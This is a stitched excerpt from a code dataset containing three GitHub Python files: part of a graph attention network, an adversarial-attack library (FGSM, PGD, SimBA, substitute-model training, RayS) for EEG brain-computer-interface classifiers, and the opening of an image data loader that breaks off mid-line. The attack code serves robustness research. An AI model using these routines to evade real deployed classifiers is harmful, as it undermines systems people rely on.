feat_src[:graph.number_of_dst_nodes()]\n\n if self._use_symmetric_norm:\n degs = graph.out_degrees().float().clamp(min=1)\n norm = torch.pow(degs, -0.5)\n shp = norm.shape + (1,) * (feat_src.dim() - 1)\n norm = torch.reshape(norm, shp)\n feat_src = feat_src * norm\n\n el = (feat_src * src_node_attention).sum(dim=-1).unsqueeze(-1)\n graph.srcdata.update({'ft': feat_src, 'el': el})\n\n if self.use_attn_dst:\n er = (feat_dst * dst_node_attention).sum(dim=-1).unsqueeze(-1)\n graph.dstdata.update({'er': er})\n # compute edge attention, el and er are a_l Wh_i and a_r Wh_j\n graph.apply_edges(fn.u_add_v('el', 'er', 'e'))\n else:\n graph.apply_edges(fn.copy_u(\"el\", \"e\"))\n\n e = self.leaky_relu(graph.edata.pop('e'))\n graph.edata[\"a\"] = edge_softmax(graph, e)\n\n # message passing\n graph.update_all(fn.u_mul_e('ft', 'a', 'm'), fn.sum('m', 'ft'))\n rst = graph.dstdata['ft']\n\n if self._use_symmetric_norm:\n degs = graph.in_degrees().float().clamp(min=1)\n # norm = torch.pow(degs, -0.5)\n norm = torch.pow(degs, 0.5)\n shp = norm.shape + (1,) * (feat_dst.dim() - 1)\n norm = torch.reshape(norm, shp)\n rst = rst * norm\n\n return rst\n\n\nclass LEGATLayer(nn.Module):\n def __init__(self, in_size: int, out_size: int, etypes: list, ntypes: list, num_heads: int = 8, residual: bool = False, feat_drop: float = 0.0,\n output_drop: float = 0.0, use_attn_dst: bool = True, norm: bool = True, full_batch: bool = True, use_symmetric_norm: bool = False):\n \"\"\"\n :param in_size: input feature dimension\n :param out_size: output feature dimension\n :param etypes: list of relation types\n :param ntypes: list of node types\n :param num_heads: number of attention heads\n :param residual: Boolean, whether to consider self information\n :param feat_drop: Feature dropout probability\n :param output_drop: Output dropout probability\n :param use_attn_dst: whether calculate attention for destination node\n :param norm: Boolean, whether normalization\n :param full_batch: Whether to train in a full-batch manner\n :param use_symmetric_norm: whether use use symmetric norm\n \"\"\"\n\n super(LEGATLayer, self).__init__()\n\n self.in_size = in_size\n self.out_size = out_size\n self.etypes = etypes\n self.ntypes = ntypes\n self.num_heads = num_heads\n self.residual = residual\n self.feat_drop = feat_drop\n self.norm = norm\n self.full_batch = full_batch\n self.output_dropout = nn.Dropout(output_drop)\n\n self.src_node_transformation = nn.ModuleDict({\n ntype: nn.Linear(in_size, out_size * num_heads, bias=False) for ntype in ntypes\n })\n\n self.dst_node_transformation = nn.ModuleDict({\n ntype: nn.Linear(in_size, out_size * num_heads, bias=False) for ntype in ntypes\n })\n\n self.src_node_attention = nn.ParameterDict({\n ntype: nn.Parameter(torch.FloatTensor(size=(1, num_heads, out_size))) for ntype in ntypes\n })\n\n self.dst_node_attention = nn.ParameterDict({\n ntype: nn.Parameter(torch.FloatTensor(size=(1, num_heads, out_size))) for ntype in ntypes\n })\n\n if self.residual:\n # residual connection\n self.res_fc = nn.ModuleDict({\n ntype: nn.Linear(in_size, out_size * num_heads, bias=False) for ntype in ntypes\n })\n\n if self.norm:\n self.normalization = nn.ModuleDict({\n ntype: nn.BatchNorm1d(out_size * num_heads) for ntype in ntypes\n })\n\n self.hetero_conv = HeteroGraphConv({\n etype: GATConv(in_feats=in_size, out_feats=out_size, num_heads=num_heads, feat_drop=feat_drop,\n use_attn_dst=use_attn_dst, use_symmetric_norm=use_symmetric_norm) for etype in etypes\n })\n\n self.reset_parameters()\n\n def reset_parameters(self):\n \"\"\"\n Reinitialize learnable parameters.\n \"\"\"\n gain = nn.init.calculate_gain('relu')\n for ntype in self.src_node_transformation:\n nn.init.xavier_normal_(self.src_node_transformation[ntype].weight, gain=gain)\n for ntype in self.dst_node_transformation:\n nn.init.xavier_normal_(self.dst_node_transformation[ntype].weight, gain=gain)\n for weight in self.src_node_attention:\n nn.init.xavier_normal_(self.src_node_attention[weight], gain=gain)\n for weight in self.dst_node_attention:\n nn.init.xavier_normal_(self.dst_node_attention[weight], gain=gain)\n if self.residual:\n for ntype in self.res_fc:\n nn.init.xavier_uniform_(self.res_fc[ntype].weight, gain=gain)\n\n def forward(self, graph: dgl.DGLGraph, node_features: dict):\n \"\"\"\n :param graph: a graph\n :param node_features: tensor, Input features, (N, in_size)\n :return: (N, num_heads * out_size)\n \"\"\"\n # dictionary of input source features and destination features\n input_src = node_features\n\n if self.full_batch:\n input_dst = node_features\n else:\n input_dst = {}\n for ntype in node_features:\n input_dst[ntype] = node_features[ntype][:graph.number_of_dst_nodes(ntype)]\n\n output_features = self.hetero_conv(graph, input_src, input_dst, self.src_node_transformation, self.dst_node_transformation,\n self.src_node_attention, self.dst_node_attention)\n\n if self.residual:\n for ntype in output_features:\n output_features[ntype] = output_features[ntype] + self.res_fc[ntype](input_dst[ntype])\n\n if self.norm:\n for ntype in output_features:\n output_features[ntype] = self.normalization[ntype](output_features[ntype])\n\n for ntype in output_features:\n output_features[ntype] = self.output_dropout(F.relu(output_features[ntype]))\n\n # Tensor, shape (N, out_size * num_heads)\n return output_features\n\n\nclass LEGAT(nn.Module):\n def __init__(self, input_dim_dict: dict, hidden_sizes: list, etypes: list, ntypes: list, num_heads: int = 8, residual: bool = False, input_drop: float = 0.0,\n feat_drop: float = 0.0, output_drop: float = 0.0, use_attn_dst: bool = True, norm: bool = True, use_symmetric_norm: bool = False, full_batch: bool = True):\n \"\"\"\n :param input_dim_dict: dict, input dim dictionary\n :param hidden_sizes: list, hidden feature dimension of each layer\n :param etypes: list of relation types\n :param ntypes: list of node types\n :param num_heads: int, number of attention heads\n :param residual: Boolean, whether to consider self information\n :param input_drop: Input dropout probability\n :param feat_drop: Feature dropout probability\n :param output_drop: Dropout probability\n :param use_attn_dst: whether calculate attention for destination node\n :param norm: Boolean, whether normalization\n :param full_batch: Whether to train in a full-batch manner\n :param use_symmetric_norm: whether use use symmetric norm\n \"\"\"\n\n super(LEGAT, self).__init__()\n\n self.input_dim_dict = input_dim_dict\n self.hidden_sizes = hidden_sizes\n self.etypes = etypes\n self.ntypes = ntypes\n self.num_heads = num_heads\n self.residual = residual\n self.feat_drop = feat_drop\n self.output_drop = output_drop\n self.norm = norm\n self.full_batch = full_batch\n\n self.input_dropout = nn.Dropout(input_drop)\n\n # align the dimension of different types of nodes\n self.projection_layer = nn.ModuleDict({\n ntype: nn.Linear(input_dim_dict[ntype], hidden_sizes[0] * num_heads, bias=False) for ntype in input_dim_dict\n })\n\n # each layer takes in the heterogeneous graph as input\n self.layers = nn.ModuleList()\n self.layers.append(LEGATLayer(hidden_sizes[0] * num_heads, hidden_sizes[0], etypes=etypes, ntypes=ntypes, num_heads=num_heads, residual=residual,\n feat_drop=feat_drop, output_drop=output_drop, use_attn_dst=use_attn_dst, norm=norm, full_batch=full_batch, use_symmetric_norm=use_symmetric_norm))\n\n for l in range(1, len(hidden_sizes)):\n self.layers.append(LEGATLayer(hidden_sizes[l-1] * num_heads, hidden_sizes[l], etypes=etypes, ntypes=ntypes, num_heads=num_heads, residual=residual,\n feat_drop=feat_drop, output_drop=output_drop, use_attn_dst=use_attn_dst, norm=norm, full_batch=full_batch, use_symmetric_norm=use_symmetric_norm))\n\n def forward(self, blocks: list or dgl.DGLHeteroGraph, node_features: dict):\n \"\"\"\n :param blocks: list of sampled dgl.DGLHeteroGraph\n :param node_features: node features, dict, {\"type\": features}\n :return:\n \"\"\"\n # feature projection\n for ntype in node_features:\n node_features[ntype] = self.projection_layer[ntype](self.input_dropout(node_features[ntype]))\n\n if self.full_batch:\n for layer in self.layers:\n node_features = layer(blocks, node_features)\n else:\n for block, layer in zip(blocks, self.layers):\n node_features = layer(block, node_features)\n\n return node_features\n\n def inference(self, graph: dgl.DGLHeteroGraph, node_features: dict, device: str):\n \"\"\"\n mini-batch inference of final representation over all node types. Outer loop: Interate the layers, Inner loop: Interate the batches\n\n :param graph: The whole relational graphs\n :param node_features: features of all the nodes in the whole graph, dict, {\"type\": features}\n :param device: device str\n \"\"\"\n with torch.no_grad():\n # interate over each layer\n for index, layer in enumerate(self.layers):\n # Tensor, features of all types of nodes, store on cpu\n y = {\n ntype: torch.zeros(\n graph.number_of_nodes(ntype), self.num_heads * self.hidden_sizes[index]) for ntype in graph.ntypes\n }\n # full sample for each type of nodes\n sampler = dgl.dataloading.MultiLayerFullNeighborSampler(1)\n dataloader = dgl.dataloading.NodeDataLoader(\n graph,\n {ntype: torch.arange(graph.number_of_nodes(ntype)) for ntype in graph.ntypes},\n sampler,\n batch_size=1280,\n shuffle=True,\n drop_last=False,\n num_workers=4)\n\n tqdm_dataloader = tqdm(dataloader, ncols=120)\n for batch, (input_nodes, output_nodes, blocks) in enumerate(tqdm_dataloader):\n block = blocks[0].to(device)\n\n input_features = {ntype: node_features[ntype][input_nodes[ntype]].to(device) for ntype in input_nodes.keys()}\n\n if index == 0:\n # input drop and feature projection for the first layer in the full batch inference\n for ntype in input_features:\n input_features[ntype] = self.projection_layer[ntype](self.input_dropout(input_features[ntype]))\n\n h = layer(block, input_features)\n\n for k in h.keys():\n y[k][output_nodes[k]] = h[k].cpu()\n\n tqdm_dataloader.set_description(f'inference for the {batch}-th batch in model {index}-th layer')\n\n # update the features of all the nodes (after the graph convolution) in the whole graph\n node_features = y\n\n return y\n","repo_name":"yule-BUAA/LEGNN","sub_path":"model/LEGNN.py","file_name":"LEGNN.py","file_ext":"py","file_size_in_byte":17055,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"28803108633","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport torch.nn.functional as F\nfrom tqdm import tqdm\nfrom typing import Optional\nfrom model import EEGNet\nfrom utils.pytorch_utils import init_weights, CenterLoss\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom utils.ot import sinkhorn_loss_joint_IPOT\n\n\ndef FGSM(model: nn.Module,\n x: torch.Tensor,\n y: torch.Tensor,\n eps: Optional[float] = 0.05,\n distance: Optional[str] = 'inf',\n target: Optional[bool] = False):\n \"\"\" FGSM attack \"\"\"\n device = next(model.parameters()).device\n criterion = nn.CrossEntropyLoss().to(device)\n\n data_loader = DataLoader(dataset=TensorDataset(x, y),\n batch_size=128,\n shuffle=False,\n num_workers=1,\n drop_last=False)\n\n model.eval()\n for step, (batch_x, batch_y) in enumerate(data_loader):\n batch_x = batch_x.clone().detach().to(device)\n batch_y = batch_y.clone().detach().to(device)\n batch_x.requires_grad = True\n\n with torch.enable_grad():\n loss = criterion(model(batch_x), batch_y)\n grad = torch.autograd.grad(loss,\n batch_x,\n retain_graph=False,\n create_graph=False)[0]\n\n if distance == 'inf':\n delta = grad.detach().sign()\n elif distance == 'l2':\n grad_norms = torch.norm(\n grad.detach().view(len(batch_x), -1), p=2, dim=1) + 1e-10\n # factor = torch.min(eps / grad_norms, torch.ones_like(grad_norms))\n delta = grad.detach() / grad_norms.view(-1, 1, 1, 1)\n else:\n raise 'No such distance.'\n\n if target:\n batch_adv_x = batch_x.detach() - eps * delta\n else:\n batch_adv_x = batch_x.detach() + eps * delta\n\n if step == 0: adv_x = batch_adv_x\n else: adv_x = torch.cat([adv_x, batch_adv_x], dim=0)\n\n return adv_x\n\n\ndef PGD(model: nn.Module,\n x: torch.Tensor,\n y: torch.Tensor,\n eps: Optional[float] = 0.05,\n alpha: Optional[float] = 0.005,\n steps: Optional[int] = 20,\n distance: Optional[str] = 'inf',\n target: Optional[bool] = False):\n \"\"\" PGD attack \"\"\"\n device = next(model.parameters()).device\n criterion = nn.CrossEntropyLoss().to(device)\n\n data_loader = DataLoader(dataset=TensorDataset(x, y),\n batch_size=128,\n shuffle=False,\n drop_last=False)\n\n model.eval()\n for step, (batch_x, batch_y) in enumerate(data_loader):\n batch_x = batch_x.clone().detach().to(device)\n batch_y = batch_y.clone().detach().to(device)\n\n # craft adversarial examples\n batch_adv_x = batch_x.clone().detach() + torch.empty_like(\n batch_x).uniform_(-eps, eps)\n for _ in range(steps):\n batch_adv_x.requires_grad = True\n with torch.enable_grad():\n loss = criterion(model(batch_adv_x), batch_y)\n grad = torch.autograd.grad(loss,\n batch_adv_x,\n retain_graph=False,\n create_graph=False)[0]\n\n if distance == 'inf':\n delta = grad.detach().sign()\n elif distance == 'l2':\n grad_norms = torch.norm(\n grad.detach().view(len(batch_x), -1), p=2, dim=1) + 1e-10\n delta = grad.detach() / grad_norms.view(-1, 1, 1, 1)\n else:\n raise 'No such distance'\n\n if target:\n batch_adv_x = batch_adv_x.detach() - alpha * delta\n else:\n batch_adv_x = batch_adv_x.detach() + alpha * delta\n\n # projection\n if distance == 'inf':\n delta = torch.clamp(batch_adv_x - batch_x, min=-eps, max=eps)\n else:\n delta = batch_adv_x - batch_x\n delta_norms = torch.norm(delta.view(len(batch_x), -1),\n p=2,\n dim=1)\n factor = torch.min(eps / delta_norms,\n torch.ones_like(delta_norms))\n delta = delta * factor.view(-1, 1, 1, 1)\n\n batch_adv_x = (batch_x + delta).detach()\n\n if step == 0: adv_x = batch_adv_x\n else: adv_x = torch.cat([adv_x, batch_adv_x], dim=0)\n\n return adv_x\n\n\ndef PGD_batch(model: nn.Module,\n x: torch.Tensor,\n y: torch.Tensor,\n eps: Optional[float] = 0.05,\n alpha: Optional[float] = 0.005,\n steps: Optional[int] = 20):\n \"\"\" PGD attack \"\"\"\n device = next(model.parameters()).device\n criterion = nn.CrossEntropyLoss().to(device)\n\n model.eval()\n x = x.clone().detach().to(device)\n y = y.clone().detach().to(device)\n\n # craft adversarial examples\n adv_x = x.clone().detach() + torch.empty_like(x).uniform_(-eps, eps)\n for _ in range(steps):\n adv_x.requires_grad = True\n with torch.enable_grad():\n loss = criterion(model(adv_x), y)\n grad = torch.autograd.grad(loss,\n adv_x,\n retain_graph=False,\n create_graph=False)[0]\n adv_x = adv_x.detach() + alpha * grad.detach().sign()\n # projection\n delta = torch.clamp(adv_x - x, min=-eps, max=eps)\n adv_x = (x + delta).detach()\n\n return adv_x\n\n\ndef maximize_shift_inconsistency(model: nn.Module,\n batch_adv_x: torch.Tensor,\n x: torch.Tensor,\n y: torch.Tensor,\n criterion: nn.Module,\n eps: Optional[float] = 0.05,\n alpha: Optional[float] = 0.005,\n steps: Optional[int] = 20):\n device = next(model.parameters()).device\n\n model.eval()\n batch_adv_x = batch_adv_x.clone().detach().to(device)\n x = x.clone().detach().to(device)\n y = y.clone().detach().to(device)\n for _ in range(steps):\n batch_adv_x.requires_grad = True\n with torch.enable_grad():\n loss = criterion(model(batch_adv_x) - model(x), y)\n grad = torch.autograd.grad(loss,\n batch_adv_x,\n retain_graph=False,\n create_graph=False)[0]\n batch_adv_x = batch_adv_x.detach() + 0.4 * alpha * grad.detach().sign()\n # projection\n delta = torch.clamp(batch_adv_x - x, min=-eps, max=eps)\n batch_adv_x = (x + delta).detach()\n \n return batch_adv_x\n\n\ndef feature_scatter(model: nn.Module,\n x: torch.Tensor,\n y: torch.Tensor,\n eps: Optional[float] = 0.05,\n alpha: Optional[float] = 0.005,\n steps: Optional[int] = 20):\n device = next(model.parameters()).device\n\n model.eval()\n x = x.clone().detach().to(device)\n y = y.clone().detach().to(device)\n\n logits = model(x)\n m, n = len(x), len(x)\n\n # craft adversarial examples\n adv_x = x.clone().detach() + torch.empty_like(x).uniform_(-eps, eps)\n for _ in range(steps):\n adv_x.requires_grad = True\n adv_logits = model(adv_x)\n with torch.enable_grad():\n loss = sinkhorn_loss_joint_IPOT(1, 0.00, logits,\n adv_logits, None, None,\n 0.01, m, n)\n grad = torch.autograd.grad(loss,\n adv_x,\n retain_graph=False,\n create_graph=False)[0]\n adv_x = adv_x.detach() + alpha * grad.detach().sign()\n # projection\n delta = torch.clamp(adv_x - x, min=-eps, max=eps)\n adv_x = (x + delta).detach()\n \n return adv_x\n\n\ndef get_preds(model: nn.Module, x: torch.Tensor):\n logits = model(x)\n preds = nn.Softmax(dim=1)(logits).argmax(dim=1)\n return preds\n\n\ndef get_probs(model: nn.Module, x: torch.Tensor, y: torch.Tensor):\n logits = model(x)\n probs = torch.index_select(nn.Softmax(dim=1)(logits),\n dim=1,\n index=y.squeeze())\n return torch.diag(probs)\n\n\ndef SimBA(model: nn.Module,\n x: torch.Tensor,\n y: torch.Tensor,\n max_iters: Optional[float] = 0.5,\n eps=0.05,\n distance='inf',\n target=False):\n \"\"\" simple black attack \"\"\"\n device = next(model.parameters()).device\n\n if distance == 'inf': alpha = eps\n else: alpha = 0.05\n\n data_loader = DataLoader(dataset=TensorDataset(x, y),\n batch_size=128,\n shuffle=False,\n num_workers=1,\n drop_last=False)\n\n for step, (batch_x, batch_y) in enumerate(data_loader):\n batch_x = batch_x.clone().detach().to(device)\n batch_y = batch_y.clone().detach().to(device)\n\n shape = batch_x.shape\n n_dims = shape[-2] * shape[-1]\n iters = int(max_iters * n_dims)\n\n perm_idx_list = torch.randperm(n_dims)[:iters].to(device)\n perm = torch.zeros(shape[0], n_dims).to(device)\n queries = torch.zeros(shape[0]).to(device)\n remaining_idx = torch.arange(0, shape[0]).to(device)\n\n batch_x = batch_x.reshape(shape[0], -1)\n\n with torch.no_grad():\n preds = get_preds(model, batch_x.reshape(shape))\n probs = get_probs(model, batch_x.reshape(shape), batch_y)\n\n for i in tqdm(range(iters)):\n perm_idx = perm_idx_list[i]\n perm_x = batch_x[remaining_idx] + perm[remaining_idx]\n preds[remaining_idx] = get_preds(\n model, perm_x.reshape((len(perm_x), *shape[1:])))\n\n if target:\n remaining = ~preds.eq(batch_y.view_as(preds))\n else:\n remaining = preds.eq(batch_y.view_as(preds))\n\n # if all inputs are misclassified\n if remaining.sum() == 0: break\n\n remaining_idx = torch.arange(0, shape[0]).to(device)\n remaining_idx = remaining_idx[remaining]\n one_step_perm = torch.zeros(remaining.sum(), n_dims).to(device)\n one_step_perm[:, perm_idx] = alpha\n # training negative direction\n perm[remaining_idx] -= one_step_perm\n perm_x = batch_x[remaining_idx] + perm[remaining_idx]\n new_probs = get_probs(\n model,\n perm_x.reshape((len(perm_x), *shape[1:])).to(device),\n batch_y[remaining_idx])\n queries[remaining_idx] += 1\n effective = new_probs.lt(probs[remaining_idx])\n # perturb on positive direction if not effective\n if target:\n perm[remaining_idx[\n effective]] += 2 * one_step_perm[effective]\n perm_x[effective] += 2 * one_step_perm[effective]\n else:\n perm[remaining_idx[\n ~effective]] += 2 * one_step_perm[~effective]\n perm_x[~effective] += 2 * one_step_perm[~effective]\n # update probs\n probs[remaining_idx] = get_probs(\n model,\n perm_x.reshape((len(perm_x), *shape[1:])).to(device),\n batch_y[remaining_idx])\n\n if distance == 'l2':\n perm_norms = torch.norm(perm.view(len(perm), -1), p=2, dim=1) + 1e-10\n perm = (perm / perm_norms.view(-1, 1)) * eps\n\n batch_adv_x = (batch_x + perm).reshape(shape)\n\n if step == 0: adv_x = batch_adv_x\n else: adv_x = torch.cat([adv_x, batch_adv_x], dim=0)\n\n return adv_x.cpu(), queries.cpu()\n\n\ndef get_pred(model: nn.Module, x: torch.Tensor):\n device = next(model.parameters()).device\n pred_x = torch.ones(size=(len(x), 1)).squeeze().type(torch.LongTensor)\n train_loader = DataLoader(dataset=TensorDataset(x, pred_x),\n batch_size=32,\n shuffle=False,\n num_workers=1,\n drop_last=False)\n\n idx = 0\n for batch_x, _ in train_loader:\n sub_pred = model(batch_x.to(device))\n sub_pred = nn.Softmax(dim=1)(sub_pred).cpu().argmax(dim=1)\n pred_x[idx:idx + len(sub_pred)] = sub_pred.type(torch.LongTensor)\n idx += len(sub_pred)\n\n return pred_x\n\n\ndef TrainSub(model: nn.Module, x_sub: torch.Tensor, y_sub: torch.Tensor,\n aug_repeat: int):\n device = next(model.parameters()).device\n sub_model = EEGNet(n_classes=len(np.unique(y_sub.numpy())),\n Chans=x_sub.shape[2],\n Samples=x_sub.shape[3],\n kernLenght=64,\n F1=4,\n D=2,\n F2=8,\n dropoutRate=0.25).to(device)\n sub_model.apply(init_weights)\n\n params = [v for _, v in sub_model.named_parameters()]\n optimizer = optim.Adam(params, lr=0.001, weight_decay=5e-4)\n criterion = nn.CrossEntropyLoss().to(device)\n\n # initial dataset\n model.eval()\n y_sub = get_pred(model, x_sub)\n\n for r in range(aug_repeat):\n train_loader = DataLoader(dataset=TensorDataset(x_sub, y_sub),\n batch_size=32,\n shuffle=True,\n num_workers=1,\n drop_last=False)\n for epoch in range(100):\n sub_model.train()\n for step, (batch_x, batch_y) in enumerate(train_loader):\n batch_x, batch_y = batch_x.to(device), batch_y.to(device)\n optimizer.zero_grad()\n logit = sub_model(batch_x)\n loss = criterion(logit, batch_y)\n loss.backward()\n optimizer.step()\n sub_model.MaxNormConstraint()\n\n # 样本 augment\n if r < aug_repeat - 1:\n adv_x = FGSM(sub_model, x_sub, y_sub, eps=0.05)\n adv_y = get_pred(model, adv_x.cpu())\n x_sub = torch.cat([x_sub, adv_x.cpu()], dim=0)\n y_sub = torch.cat([y_sub, adv_y.type(torch.LongTensor)], dim=0)\n del adv_x, adv_y\n\n return sub_model\n\n\nclass RayS(object):\n def __init__(self, model, epsilon=0.031, order=np.inf):\n self.model = model\n self.ord = order\n self.epsilon = epsilon\n self.sgn_t = None\n self.d_t = None\n self.x_final = None\n self.queries = None\n self.device = next(model.parameters()).device\n\n def get_xadv(self, x, v, d, lb=0., ub=1.):\n if isinstance(d, int):\n d = torch.tensor(d).repeat(len(x)).to(self.device)\n out = x + d.view(len(x), 1, 1, 1) * v\n out = torch.clamp(out, lb, ub)\n return out\n\n def attack_hard_label(self, x, y, target=None, query_limit=10000, seed=None):\n \"\"\" Attack the original image and return adversarial example\n model: (pytorch model)\n (x, y): original image\n \"\"\"\n shape = list(x.shape)\n dim = np.prod(shape[1:])\n lb, ub = x.min(), x.max()\n if seed is not None:\n np.random.seed(seed)\n\n # init variables\n self.queries = torch.zeros_like(y).to(self.device)\n self.sgn_t = torch.sign(torch.ones(shape)).to(self.device)\n self.d_t = torch.ones_like(y).float().fill_(float(\"Inf\")).to(self.device)\n working_ind = (self.d_t > self.epsilon).nonzero().flatten()\n\n stop_queries = self.queries.clone()\n dist = self.d_t.clone()\n self.x_final = self.get_xadv(x, self.sgn_t, self.d_t, lb, ub)\n \n block_level = 0\n block_ind = 0\n for i in range(query_limit):\n block_num = 2 ** block_level\n block_size = int(np.ceil(dim / block_num))\n start, end = block_ind * block_size, min(dim, (block_ind + 1) * block_size)\n\n valid_mask = (self.queries < query_limit) \n attempt = self.sgn_t.clone().view(shape[0], dim)\n attempt[valid_mask.nonzero().flatten(), start:end] *= -1.\n attempt = attempt.view(shape)\n\n self.binary_search(x, y, target, attempt, valid_mask)\n\n block_ind += 1\n if block_ind == 2 ** block_level or end == dim:\n block_level += 1\n block_ind = 0\n\n dist = torch.norm((self.x_final - x).view(shape[0], -1), self.ord, 1)\n stop_queries[working_ind] = self.queries[working_ind]\n working_ind = (dist > self.epsilon).nonzero().flatten()\n\n if torch.sum(self.queries >= query_limit) == shape[0]:\n print('out of queries')\n break\n\n print('d_t: %.4f | adbd: %.4f | queries: %.4f | rob acc: %.4f | iter: %d'\n % (torch.mean(self.d_t), torch.mean(dist), torch.mean(self.queries.float()),\n len(working_ind) / len(x), i + 1))\n \n\n stop_queries = torch.clamp(stop_queries, 0, query_limit)\n return self.x_final, stop_queries, dist, (dist <= self.epsilon)\n \n\n def attack_batch(self, x, y, target=None, query_limit=5000, seed=None):\n data_loader = DataLoader(dataset=TensorDataset(x, target if target!=None else y),\n batch_size=1024,\n shuffle=False,\n drop_last=False)\n\n for step, (batch_x, batch_y) in enumerate(data_loader):\n batch_x = batch_x.clone().detach().to(self.device)\n batch_y = batch_y.clone().detach().to(self.device)\n\n batch_adv_x, _, _, _ = self.attack_hard_label(batch_x, batch_y, target=batch_y if target!=None else None, query_limit=query_limit)\n \n # projection\n if self.ord == np.inf:\n delta = torch.clamp(batch_adv_x - batch_x, min=-self.epsilon, max=self.epsilon)\n else:\n delta = batch_adv_x - batch_x\n delta_norms = torch.norm(delta.view(len(batch_x), -1),\n p=2,\n dim=1)\n factor = torch.min(self.epsilon / delta_norms,\n torch.ones_like(delta_norms))\n delta = delta * factor.view(-1, 1, 1, 1)\n\n batch_adv_x = (batch_x + delta).detach()\n\n if step == 0: adv_x = batch_adv_x\n else: adv_x = torch.cat([adv_x, batch_adv_x], dim=0)\n\n return adv_x.cpu()\n\n # check whether solution is found\n def search_succ(self, x, y, target, mask):\n self.queries[mask] += 1\n if target!=None:\n return self.model.predict_label(x[mask]) == target[mask]\n else:\n return self.model.predict_label(x[mask]) != y[mask]\n\n # binary search for decision boundary along sgn direction\n def binary_search(self, x, y, target, sgn, valid_mask, tol=1e-3):\n lb, ub = x.min(), x.max()\n sgn_norm = torch.norm(sgn.view(len(x), -1), 2, 1)\n sgn_unit = sgn / sgn_norm.view(len(x), 1, 1, 1)\n\n d_start = torch.zeros_like(y).float().to(self.device)\n d_end = self.d_t.clone()\n\n initial_succ_mask = self.search_succ(self.get_xadv(x, sgn_unit, self.d_t, lb, ub), y, target, valid_mask)\n to_search_ind = valid_mask.nonzero().flatten()[initial_succ_mask]\n d_end[to_search_ind] = torch.min(self.d_t, sgn_norm)[to_search_ind]\n\n while len(to_search_ind) > 0:\n d_mid = (d_start + d_end) / 2.0\n search_succ_mask = self.search_succ(self.get_xadv(x, sgn_unit, d_mid, lb, ub), y, target, to_search_ind)\n d_end[to_search_ind[search_succ_mask]] = d_mid[to_search_ind[search_succ_mask]]\n d_start[to_search_ind[~search_succ_mask]] = d_mid[to_search_ind[~search_succ_mask]]\n to_search_ind = to_search_ind[((d_end - d_start)[to_search_ind] > tol)]\n\n to_update_ind = (d_end < self.d_t).nonzero().flatten()\n if len(to_update_ind) > 0:\n self.d_t[to_update_ind] = d_end[to_update_ind]\n self.x_final[to_update_ind] = self.get_xadv(x, sgn_unit, d_end, lb, ub)[to_update_ind]\n self.sgn_t[to_update_ind] = sgn[to_update_ind]\n\n def __call__(self, data, label, target=None, query_limit=10000):\n return self.attack_hard_label(data, label, target=target, query_limit=query_limit)","repo_name":"lbinmeng/bci_adv_defense","sub_path":"attack_lib.py","file_name":"attack_lib.py","file_ext":"py","file_size_in_byte":20907,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"70373575786","text":"\"\"\"\nThis module provides everything needed for data loading and pre-processing\nfor the image classification approach.\n\"\"\"\nimport logging\nimport math\nfrom typing import List, Optional, Tuple, Callable, Union\n\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport cv2 as cv\n\nfrom ..constants import LABEL_MAP\nfrom ..data.common import Sample\nfrom ..data.generate_tfrecord import read_tfrecord\n\nlog = logging.getLogger(__name__)\n\n\nclass JointsSequence(tf.keras.utils.Sequence):\n \"\"\"\n Implements a Keras Sequence dataset, which will allow the fit API to load\n multiple batches in parallel.\n \"\"\"\n\n def __init__(\n self,\n csv_path_or_df: Union[str, pd.DataFrame],\n split: Optional[str] = None,\n crop_width: int = 299,\n crop_height: int = 299,\n batch_size: int = 32,\n random_crop: bool = True,\n augment_data: bool = True,\n adaptive_threshold: bool = False,\n ):\n\n if isinstance(csv_path_or_df, str):\n with open(csv_path_or_df, 'r') as f:\n df = pd.read_csv(f)\n\n if split is not None:\n df = df[df['split'] == split]\n elif isinstance(csv_path_or_df, pd.DataFrame):\n df = csv_path_or_df\n else:\n raise ValueError\n\n self._df = df\n\n self._crop_width = crop_width\n self._crop_height = crop_height\n self._batch_size = batch_size\n self._random_crop = random_crop\n self._augment_data = augment_data\n self._adaptive_threshold = adaptive_threshold\n\n def __len__(self) -> int:\n return math.ceil(len(self._df) / self._batch_size)\n\n def __getitem__(self, index: int) -> Tuple[tf.Tensor, tf.Tensor]:\n\n images = []\n labels = []\n\n low = index * self._batch_size\n high = (index + 1) * self._batch_size\n for i in range(low, high if high < len(self._df) else len(self._df)):\n sample = Sample.from_dataframe(self._df.iloc[i])\n image, label = self._load_sample(sample)\n\n images.append(image)\n labels.append(label)\n\n return tf.stack(images, axis=0), tf.stack(labels)\n\n def on_epoch_end(self):\n pass\n\n def _load_sample(self, sample: Sample) -> Tuple[tf.Tensor, tf.Tensor]:\n \"\"\"\n Loads a single sample from disk.\n\n Parameters\n ----------\n sample: Sample\n Data required to load the sample.\n\n Returns\n -------\n tf.Tensor, tf.Tensor\n image and label\n \"\"\"\n image = read_image(sample.filepath, 'png', self._adaptive_threshold)\n\n image = preprocess(\n image,\n sample.bbox.to_pascal_voc(),\n self._crop_width,\n self._crop_height,\n self._random_crop,\n self._augment_data,\n )\n\n label = tf.one_hot(LABEL_MAP[sample.bbox.cls] - 1, 2)\n\n return image, label\n\n\ndef shift_lower(bndbox: List[int]) -> List[int]:\n \"\"\"\n Shift bounding box upwards, if lower bounds are negative\n (out of bounds)\n\n Parameters\n ----------\n bndbox : List[int]\n Bounding box in the shape [x0, x1, y0, y1]\n\n Returns\n -------\n Updated bounding box in the same shape as input.\n \"\"\"\n x0, x1, y0, y1 = bndbox\n # shift box in case of negative values\n x_offset_low = -tf.math.minimum(x0, tf.constant(0))\n y_offset_low = -tf.math.minimum(y0, tf.constant(0))\n\n x0 += x_offset_low\n x1 += x_offset_low\n y0 += y_offset_low\n y1 += y_offset_low\n\n return [x0, x1, y0, y1]\n\n\ndef shift_upper(bndbox: List[int], max_x: int, max_y: int) -> List[int]:\n \"\"\"\n Shift bounding box downwards, if upper bounds are beyond image edge\n (out of bounds)\n\n Parameters\n ----------\n bndbox : List[int]\n Bounding box in the shape [x0, x1, y0, y1].\n max_x : int\n Image width\n max_y : int\n Image height\n\n Returns\n -------\n Updated bounding box in the same shape as input.\n \"\"\"\n\n x0, x1, y0, y1 = bndbox\n # shift box in case of OOB values\n log.debug(f'max 